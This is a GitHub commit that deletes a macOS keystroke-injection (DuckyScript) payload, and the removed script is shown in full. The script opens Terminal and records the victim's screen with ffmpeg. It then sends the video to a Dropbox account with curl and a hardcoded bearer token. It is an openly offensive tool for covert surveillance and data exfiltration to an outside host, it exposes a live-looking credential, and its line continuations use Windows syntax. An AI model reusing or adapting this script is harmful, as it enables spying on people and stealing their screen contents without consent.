Delete Screen Recorder MacOs to Dropbox.txt

This commit is contained in:
Narsty
2023-05-21 22:28:17 -05:00
committed by GitHub
parent f5e3f1cb14
commit 7a5d181c2b
@@ -1,56 +0,0 @@
REM Description: This script records the screen and saves the recording as a video file.
REM Must have terminal recording privilege enabled
REM screen recording command and the conversion of the recording to an MP4 file.
REM It includes a delay of 10 seconds after starting the recording to allow for the desired recording duration. Can adjust the delay for longer recordings line
REM After that, it sends the interrupt signal (Ctrl+C) to stop the recording.
REM Then it proceeds with the conversion of the recorded file from MKV to MP4 format using the ffmpeg command And stores it on the desktop
REM Author: Narsty
REM Title: Screen Recorder MacOs
REM Target: MacOS
REM Version: 1.0
REM Category: Execution
DELAY 1000
GUI SPACE
DELAY 500
STRING terminal
DELAY 500
ENTER
DELAY 500
STRING ffmpeg -f avfoundation -r 30 -i "1" -c:v libx264 -preset ultrafast -tune zerolatency -crf 23 -pix_fmt yuv420p ~/Desktop/screen_recording.mkv
DELAY 250
ENTER
DELAY 10000 ; Delay for 10 seconds (adjust as needed)
CTRL C ; Send the interrupt signal to stop the recording
DELAY 500
STRING ffmpeg -i ~/Desktop/screen_recording.mkv -c:v libx264 -preset fast -crf 23 -pix_fmt yuv420p ~/Desktop/screen_recording.mp4
DELAY 250
ENTER
DELAY 500
STRING curl -X POST "https://content.dropboxapi.com/2/files/upload" ^
DELAY 500
ENTER
DELAY 500
STRING -H "Authorization: Bearer sl.Be0bgmYKBZm4BgrZR-Wj1Q-ha4pD26_jQ6re-9c9ebgPi5pT5720Uhgtni8QROC8BxVjP8FviNYeC4QiCkupCT2MJ3oStYo-QxTG1AftSp545xk5VDO1pzRA6GtcCKFtln1VyUlxKpLH" ^
DELAY 500
ENTER
DELAY 500
STRING -H "Dropbox-API-Arg: {\"path\": \"/screen_recording.mp4\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" ^
DELAY 500
ENTER
DELAY 500
STRING -H "Content-Type: application/octet-stream" ^
DELAY 500
ENTER
DELAY 500
STRING --data-binary @~/Desktop/screen_recording.mp4 ^
DELAY 500
ENTER